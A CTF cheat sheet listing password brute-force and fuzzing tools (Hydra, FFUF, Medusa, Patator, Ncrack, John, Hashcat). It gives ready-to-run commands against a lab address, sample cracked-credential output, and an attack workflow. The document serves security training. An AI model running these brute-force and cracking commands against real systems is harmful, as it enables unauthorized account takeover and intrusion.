

ACTF Bruteforce & Password Attack Tools Guide

This guide is intended for authorized CTF environments, labs, and ethical security testing only. It covers common password brute-force and fuzzing tools used during Capture The Flag (CTF) competitions.

Hydra

Fast network login cracker supporting SSH, FTP, HTTP forms, SMB, RDP, and more.

SSH Bruteforce

```
hydra -l admin -P rockyou.txt ssh://10.10.10.5
```

HTTP POST Login Form

```
hydra admin -P rockyou.txt 10.10.10.5 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"
```

FTP Bruteforce

```
hydra -L users.txt -P passwords.txt ftp://10.10.10.5
```

Expected Output

```
[22][ssh] host: 10.10.10.5 login: admin password: password123
1 of 1 target successfully completed
```

FFUF

Fast web fuzzer for directories, parameters, virtual hosts, and hidden endpoints.

Directory Discovery

```
ffuf -u http://10.10.10.5/FUZZ -w /usr/share/wordlists/dirb/common.txt
```

Parameter Fuzzing

```
ffuf -u "http://10.10.10.5/page.php?FUZZ=test" -w params.txt
```

Virtual Host Discovery

```
ffuf -u http://10.10.10.5 -H "Host: FUZZ.target.com" -w subdomains.txt
```

Expected Output

admin	[Status: 200, Size: 3245]
backup	[Status: 403, Size: 421]
secret	[Status: 301, Redirect: /secret/]

Medusa

Parallel login brute-forcer similar to Hydra but optimized differently.

SSH Attack

```
medusa -h 10.10.10.5 -u admin -P rockyou.txt -M ssh
```

FTP Attack

```
medusa -h 10.10.10.5 -U users.txt -P passwords.txt -M ftp
```

Expected Output

```
ACCOUNT FOUND: [ssh] Host: 10.10.10.5 User: admin Password: letmein
```

Patator

Highly flexible modular brute-force framework for many protocols.

SSH Bruteforce

```
patator ssh_login host=10.10.10.5 user=admin password=FILE0 0=rockyou.txt
```

HTTP Fuzz Login

```
patator http_fuzz url=http://10.10.10.5/login method=POST body='user=admin&pass=FILE0' 0=passwords.txt
```

Expected Output

```
200 45:admin:supersecret
```

Ncrack

High-speed network authentication cracking tool from the Nmap project.

SSH Attack

```
ncrack -p ssh 10.10.10.5 -u admin -P rockyou.txt
```

RDP Attack

```
ncrack -p rdp 10.10.10.5 -U users.txt -P passwords.txt
```

Expected Output

```
Discovered credentials on ssh://10.10.10.5 'admin' 'password123'
```

John the Ripper

Offline password cracking tool for hashes.

Crack MD5 Hash

```
john hashes.txt --wordlist=rockyou.txt
```

Show Cracked Passwords

```
john --show hashes.txt
```

Expected Output

```
admin:dragon123  
guest:qwerty
```

Hashcat

GPU-accelerated password recovery and cracking framework.

MD5 Crack

```
hashcat -m 0 -a 0 hashes.txt rockyou.txt
```

SHA256 Crack

```
hashcat -m 1400 hashes.txt rockyou.txt
```

Expected Output

```
Recovered.....: 3/3 (100%)  
Status.....: Cracked
```

Extra Tips

Useful Wordlists

- /usr/share/wordlists/rockyou.txt
- SecLists repository
- Custom usernames/passwords from recon

General Workflow

1. Enumerate services using Nmap
2. Identify authentication mechanisms
3. Gather usernames and probable passwords
4. Start with targeted attacks before huge wordlists
5. Monitor response codes, redirects, and timing